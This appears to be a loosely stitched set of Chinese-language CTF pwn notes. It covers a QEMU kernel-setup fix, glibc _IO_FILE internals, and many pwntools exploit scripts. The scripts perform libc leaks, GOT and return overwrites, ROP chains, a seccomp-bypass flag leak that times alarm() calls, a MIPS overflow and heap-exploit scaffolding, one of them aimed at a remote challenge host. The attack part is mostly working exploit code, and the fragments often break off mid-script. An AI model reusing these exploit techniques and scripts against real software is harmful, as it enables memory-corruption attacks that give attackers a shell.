::sysinit:/etc/init.d/rcS ::askfirst:/bin/ash ::ctrlaltdel:/sbin/reboot ::shutdown:/sbin/swapoff -a ::shutdown:/bin/umount -a -r ::restart:/sbin/init
正确指令
1 2 3 4 5 6
::sysinit:/etc/init.d/rcS ttyS0::askfirst:/bin/ash ::ctrlaltdel:/sbin/reboot ::shutdown:/sbin/swapoff -a ::shutdown:/bin/umount -a -r ::restart:/sbin/init
至于原因,我没看懂😃,剩下的照抄就行了,然后kernel就能通过qemu正确运行了。
1 2 3 4 5 6 7 8 9 10
rootzhang@rootzhang-virtual-machine:~/pwn$ ./boot.sh warning: TCG doesn't support requested feature: CPUID.01H:EDX.vme [bit 1] warning: TCG doesn't support requested feature: CPUID.01H:EDX.vme [bit 1] mount: mounting none on /sys failed: No such device
Please press Enter to activate this console. / # ls bin etc init lib64 proc sbin usr dev home lib linuxrc root sys
ini_array:00000000004B40F0 _fini_array segment qword public 'DATA' use64 .fini_array:00000000004B40F0 assume cs:_fini_array .fini_array:00000000004B40F0 ;org 4B40F0h .fini_array:00000000004B40F0 byte_4B40F0 db 0 ; DATA XREF: sub_4028D0+4C↑o .fini_array:00000000004B40F0 ; sub_402960+8↑o .fini_array:00000000004B40F1 db 1Bh .fini_array:00000000004B40F2 db 40h ; @ .fini_array:00000000004B40F3 db 0 .fini_array:00000000004B40F4 db 0 .fini_array:00000000004B40F5 db 0 .fini_array:00000000004B40F6 db 0 .fini_array:00000000004B40F7 db 0 .fini_array:00000000004B40F8 db 80h .fini_array:00000000004B40F9 db 15h .fini_array:00000000004B40FA db 40h ; @ .fini_array:00000000004B40FB db 0 .fini_array:00000000004B40FC db 0 .fini_array:00000000004B40FD db 0 .fini_array:00000000004B40FE db 0 .fini_array:00000000004B40FF db 0 .fini_array:00000000004B40FF _fini_array ends
from pwn import * context(os='linux',log_level='debug',arch='i386') sh=process('./pwn') libc=ELF('/lib/i386-linux-gnu/libc.so.6') system_offset=libc.sym['system'] binsh_offfset=libc.search('/bin/sh\x00').next() printhex(system_offset) printhex(binsh_offfset) ''' 0x3a819 execve("/bin/sh", esp+0x34, environ) constraints: esi is the GOT address of libc [esp+0x34] == NULL 0x5f065 execl("/bin/sh", eax) constraints: esi is the GOT address of libc eax == NULL 0x5f066 execl("/bin/sh", [esp]) constraints: esi is the GOT address of libc [esp] == NULL ''' ogg=[0x3a819,0x5f065,0x5f066] #gdb.attach(sh,'b read') defexp(): sh.recvuntil('What your name :') sh.send('a'*0x1b+'b') sh.recvuntil('aaab') libc_addr=u32(sh.recv(4))-0x1b1244 system=system_offset+libc_addr binsh=binsh_offfset+libc_addr elf_addr=u32(sh.recv(4))-0x601 canary=elf_addr+0xb2b printhex(libc_addr) sh.recvuntil('How many numbers do you what to sort :') sh.sendline(str(35)) for i inrange(0x18): sh.recvuntil('number : ') sh.sendline('123') sh.recvuntil('number : ') sh.sendline('+') for i inrange(8): sh.recvuntil('number : ') sh.sendline(str(system)) sh.recvuntil('number : ') sh.sendline(str(binsh)) sh.recvuntil('number : ') sh.sendline(str(binsh)) sh.recv() sh.interactive() exp()
from os import system from pwn import * sh=process('./pwn') context(os='linux',log_level='debug') libc=ELF('/lib/i386-linux-gnu/libc.so.6') elf=ELF('./pwn')
defexp(): gdb.attach(sh,'b *0x08048A13') for i inrange(7): buy_apple(1) for i inrange(18): buy_apple(2) buy_apple(4) sh.recvuntil('> ') sh.sendline('5') sh.recvuntil('Let me check your cart. ok? (y/n) > ') sh.sendline('y\x00')
sh.recvuntil('> ') sh.sendline('4') sh.recvuntil('Let me check your cart. ok? (y/n) > ') payload='y\x00'+p32(elf.got['puts'])+p32(0)+p32(0) sh.send(payload) sh.recvuntil('27: ') libc_base=u32(sh.recv(4))-libc.sym['puts'] system=libc_base+libc.sym['system'] printhex(libc_base)
sh.recvuntil('> ') sh.sendline('4') environ_addr=libc_base+libc.sym['environ'] sh.recvuntil('Let me check your cart. ok? (y/n) > ') payload='y\x00'+p32(environ_addr)+p32(0)+p32(0) sh.send(payload) sh.recvuntil('27: ') ebp=u32(sh.recv(4))-260 printhex(ebp)
sh=remote('chuj.top',47250) #libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') #sh=process('./spfa') libc=ELF('./libc-2.31.so') #gdb.attach(sh,'b main') defpwn(): #gdb.attach(sh,"b main") sh.sendlineafter('how many datas?\n>> ','3') sh.sendlineafter('how many nodes?\n>> ','2') sh.sendlineafter('how many edges?\n>> ','1') sh.recvuntil('input edges in the\n[from] [to] [distant]\nformat') sh.sendline(str(0x10)) sh.sendline(str(0x20)) sh.sendline(str(0x30)) sh.sendlineafter('you want to start from which node?\n>> ',str(0x10)) sh.sendlineafter(' to ?\n>>',str(-2275)) sh.recvuntil('the length of the shortest path is ') dist_addr=int(sh.recvuntil('\n').split('\n')[0])-8+0x4720 elf_base=dist_addr-0x4720-0x7000 bss_addr=dist_addr-0x4720 dock_addr=elf_base+0x16A5 printhex(bss_addr)
sh.sendlineafter('how many nodes?\n>> ','2') sh.sendlineafter('how many edges?\n>> ','1') sh.recvuntil('input edges in the\n[from] [to] [distant]\nformat') sh.sendline(str(0x30)) sh.sendline(str(0x40)) sh.sendline(str(0x50)) sh.sendlineafter('you want to start from which node?\n>> ',str(0x10)) sh.sendlineafter(' to ?\n>>',str(-2272)) sh.recvuntil('the length of the shortest path is ') libc_base=int(sh.recvuntil('\n').split('\n')[0])-libc.sym['_IO_2_1_stdout_'] printhex(libc.sym['_IO_file_jumps']) #io=libc_base+0x1ec8a0+0x38 io=libc_base+libc.sym['_IO_file_jumps']+0x28 printhex(io)
sh.sendlineafter('how many nodes?\n>> ','2') sh.sendlineafter('how many edges?\n>> ','1') sh.recvuntil('input edges in the\n[from] [to] [distant]\nformat') sh.sendline(str(0x10)) sh.sendline(str((io-dist_addr)/8)) sh.sendline(str(dock_addr)) #gdb.attach(sh) sh.sendlineafter('you want to start from which node?\n>> ',str(0x10)) #sh.sendlineafter(' to ?\n>>','1') # sh.recvuntil('the length of the shortest path is ')
# sh.sendlineafter('how many nodes?\n>> ','2') # sh.sendlineafter('how many edges?\n>> ','1') # sh.recvuntil('input edges in the\n[from] [to] [distant]\nformat') # sh.sendline(str(1)) # sh.sendline('-2217') # gdb.attach(sh) # sh.sendline(str(bss_addr+0x100+0xd8+0x38)) # sh.sendlineafter('you want to start from which node?\n>> ',str(0x10)) # sh.sendlineafter(' to ?\n>>',str(-2272)) # sh.recvuntil('the length of the shortest path is ') sh.interactive()
[*] '/home/rootzhang/get-shell/sctf2021/gadget/gadget' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
沙盒分析
1 2 3 4 5 6 7 8 9 10 11
rootzhang@ubuntu:~/get-shell/sctf2021/gadget$ seccomp-tools dump ./gadget line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x25 0x03 0x00 0x40000000 if (A > 0x40000000) goto 0005 0002: 0x15 0x03 0x00 0x00000005 if (A == fstat) goto 0006 0003: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0006 0004: 0x15 0x01 0x00 0x00000025 if (A == alarm) goto 0006 0005: 0x06 0x00 0x00 0x00000000 return KILL 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
payload='\x00\x00\x00\x00\x00\x00\x00'+p64(alarm)+p64(0)+p64(pop_rsi_r15_rbp)+p64(push_rsi_ret)+p64(0)*2 payload+=p64(push_rsi_ret) sh.send(payload) start=time.time() try: sh.recv() except: end=time.time() asc=int(end-start) global flag flag+=chr(asc) print flag
from pwn import * import time context.arch='amd64' flag='' ''' 0x000000000040288d : pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret 0x000000000040172f : pop r12 ; pop r14 ; pop r15 ; pop rbp ; ret 0x000000000040288f : pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret 0x0000000000401731 : pop r14 ; pop r15 ; pop rbp ; ret 0x0000000000401733 : pop r15 ; pop rbp ; ret 0x0000000000401001 : pop rax ; ret 0x0000000000402890 : pop rbp ; pop r14 ; pop r15 ; pop rbp ; ret 0x0000000000401102 : pop rbp ; ret 0x000000000040172e : pop rbx ; pop r12 ; pop r14 ; pop r15 ; pop rbp ; ret 0x0000000000403072 : pop rbx ; pop r14 ; pop r15 ; pop rbp ; ret 0x000000000040117b : pop rcx ; ret 0x0000000000401734 : pop rdi ; pop rbp ; ret 0x0000000000401732 : pop rsi ; pop r15 ; pop rbp ; ret 0x000000000040288e : pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret 0x0000000000401730 : pop rsp ; pop r14 ; pop r15 ; pop rbp ; ret 0x0000000000401002 : ret 0x0000000000402c04: mov rsi, r15; mov rdx, r12; call r14; mov edi, eax; call 0x1010; ret; x0000000000401102: pop rbp; ret; 0x0000000000409d1c: pop rsp; mov edi, 0x88bf2838; ret; 0x0000000000401001: pop rax; ret; 0x00000000004011f3: int 0x80; ret; 0x0000000000403072: pop rbx; pop r14; pop r15; pop rbp; ret; 0x000000000040117b: pop rcx; ret; 0x0000000000408865: syscall; ret; 0x0000000000401732: pop rsi; pop r15; pop rbp; ret; 0x00000000004011c5 : push rsi ; ret '''
第一类利用pop传值 (gadget/ELF/x86_64)> search pop|ret [INFO] Searching for gadgets: pop|ret
[INFO] File: ./gadget 0x000000000040288d: pop r12; pop r13; pop r14; pop r15; pop rbp; ret; 0x000000000040172f: pop r12; pop r14; pop r15; pop rbp; ret; 0x000000000040288f: pop r13; pop r14; pop r15; pop rbp; ret; 0x0000000000402be1: pop r14; pop r15; jmp rax;
第二类利用mov传值(这道题就用到了) (gadget/ELF/x86_64)> search mov|ret [INFO] Searching for gadgets: mov|ret
from pwn import * import time context.arch='amd64' flag='' ''' 0x000000000040288d : pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret 0x000000000040172f : pop r12 ; pop r14 ; pop r15 ; pop rbp ; ret 0x000000000040288f : pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret 0x0000000000401731 : pop r14 ; pop r15 ; pop rbp ; ret 0x0000000000401733 : pop r15 ; pop rbp ; ret 0x0000000000401001 : pop rax ; ret 0x0000000000402890 : pop rbp ; pop r14 ; pop r15 ; pop rbp ; ret 0x0000000000401102 : pop rbp ; ret 0x000000000040172e : pop rbx ; pop r12 ; pop r14 ; pop r15 ; pop rbp ; ret 0x0000000000403072 : pop rbx ; pop r14 ; pop r15 ; pop rbp ; ret 0x000000000040117b : pop rcx ; ret 0x0000000000401734 : pop rdi ; pop rbp ; ret 0x0000000000401732 : pop rsi ; pop r15 ; pop rbp ; ret 0x000000000040288e : pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret 0x0000000000401730 : pop rsp ; pop r14 ; pop r15 ; pop rbp ; ret 0x0000000000401002 : ret 0x0000000000402c04: mov rsi, r15; mov rdx, r12; call r14; mov edi, eax; call 0x1010; ret; x0000000000401102: pop rbp; ret; 0x0000000000409d1c: pop rsp; mov edi, 0x88bf2838; ret; 0x0000000000401001: pop rax; ret; 0x00000000004011f3: int 0x80; ret; 0x0000000000403072: pop rbx; pop r14; pop r15; pop rbp; ret; 0x000000000040117b: pop rcx; ret; 0x0000000000408865: syscall; ret; 0x0000000000401732: pop rsi; pop r15; pop rbp; ret; 0x00000000004011c5 : push rsi ; ret '''
from pwn import *gadget_addr=0x00401F90dock_addr=0x004003B0f=open("passwd","wb")payload='a'*0x19c+p32(gadget_addr)+'a'*0x18+'/bin/sh\x00'payload=payload.ljust(0x1a0+0x54,'a')payload=payload+p32(dock_addr)f.write(payload)f.close()
得到shell
1
rootzhang@rootzhang-virtual-machine:~/mipsshell/stady1$ qemu-mipsel ./vulnyou have an invalid password!$ lscore passwd pwnc.py vuln vuln.c vuln.id0 vuln.id1 vuln.nam vuln.til
/* We always allocate an extra word following an _IO_FILE. This contains a pointer to the function jump table used. This is for compatibility with C++ streambuf; the word can be used to smash to a pointer to a virtual function table. */
struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsignedshort _cur_column; signedchar _vtable_offset; char _shortbuf[1];
#define _IO_MAGIC 0xFBAD0000 /* Magic number */ #define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */ #define _IO_MAGIC_MASK 0xFFFF0000 #define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */ #define _IO_UNBUFFERED 2 #define _IO_NO_READS 4 /* Reading not allowed */ #define _IO_NO_WRITES 8 /* Writing not allowd */ #define _IO_EOF_SEEN 0x10 #define _IO_ERR_SEEN 0x20 #define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */ #define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/ #define _IO_IN_BACKUP 0x100 #define _IO_LINE_BUF 0x200 #define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */ #define _IO_CURRENTLY_PUTTING 0x800 #define _IO_IS_APPENDING 0x1000 #define _IO_IS_FILEBUF 0x2000 #define _IO_BAD_SEEN 0x4000 #define _IO_USER_LOCK 0x8000
要判断flag是什么状态就直接与这些常量按位与运算。
puts函数执行流程
puts函数会调用_IO_puts函数,这个函数才完成puts函数的功能,下面是源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
#include"libioP.h" #include<string.h> #include<limits.h> int _IO_puts (constchar *str) { int result = EOF; _IO_size_t len = strlen (str); _IO_acquire_lock (_IO_stdout);
if ((_IO_vtable_offset (_IO_stdout) != 0 || _IO_fwide (_IO_stdout, -1) == -1) && _IO_sputn (_IO_stdout, str, len) == len && _IO_putc_unlocked ('\n', _IO_stdout) != EOF) result = MIN (INT_MAX, len + 1);
_IO_new_file_overflow (_IO_FILE *f, int ch) { if (f->_flags & _IO_NO_WRITES) /* SET ERROR */ { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } /* If currently reading or no buffer allocated. */ if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL) { /* Allocate a buffer if needed. */ if (f->_IO_write_base == NULL) { _IO_doallocbuf (f); _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base); } /* Otherwise must be currently reading. If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end, logically slide the buffer forwards one block (by setting the read pointers to all point at the beginning of the block). This makes room for subsequent output. Otherwise, set the read pointers to _IO_read_end (leaving that alone, so it can continue to correspond to the external position). */ if (__glibc_unlikely (_IO_in_backup (f))) { size_t nbackup = f->_IO_read_end - f->_IO_read_ptr; _IO_free_backup_area (f); f->_IO_read_base -= MIN (nbackup, f->_IO_read_base - f->_IO_buf_base); f->_IO_read_ptr = f->_IO_read_base; }
from pwn import * sh=process("./pwn") context.log_level='debug' libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') elf=ELF('./pwn') defadd(size,content): sh.recvuntil('Your choice:') sh.sendline('2') sh.recvuntil('Please enter the length of item name:') sh.sendline(str(size)) sh.recvuntil('Please enter the name of item:') sh.send(content)
defedit(idx,length,content): sh.recvuntil('Your choice:') sh.sendline('3') sh.recvuntil('Please enter the index of item:') sh.sendline(str(idx)) sh.recvuntil('Please enter the length of item name:') sh.sendline(str(length)) sh.recvuntil('Please enter the new name of the item:') sh.sendline(content)
deffree(idx): sh.recvuntil('Your choice:') sh.sendline('4') sh.recvuntil('Please enter the index of item:') sh.sendline(str(idx))
from pwn import * sh=process('./pwn') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') context.log_level='debug' ogg=[0x45226,0x4527a,0xf03a4,0xf1247]
defadd(size,idx): sh.recvuntil('3. Free') sh.sendline('1') sh.recvuntil('Enter size of chunk :') sh.sendline(str(size)) sh.recvuntil('Enter index :') sh.sendline(str(idx))
defedit(idx,content): sh.recvuntil('3. Free') sh.sendline('2') sh.recvuntil('Enter index of chunk :') sh.sendline(str(idx)) sh.recvuntil('Enter data :') sh.send(content)
deffree(idx): sh.recvuntil('3. Free') sh.sendline('3') sh.recvuntil('Enter index :') sh.sendline(str(idx))
0x7fe87be4e1ff <setcontext+127> ret //自己的ret ↓ 0x7fe87bdfc8aa ret //push rcx ↓ 0x7fe87be1d5bf <init_cacheinfo+239> pop rdi//伪造的rop 0x7fe87be1d5c0 <init_cacheinfo+240> ret
from os import system from pwn import * context.log_level='debug' elf=ELF('./heapstorm2') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') ogg=[0x45226,0x4527a,0xf03a4,0xf1247] defadd(size): sh.recvuntil('Command: ') sh.sendline('1') sh.recvuntil('Size: ') sh.sendline(str(size))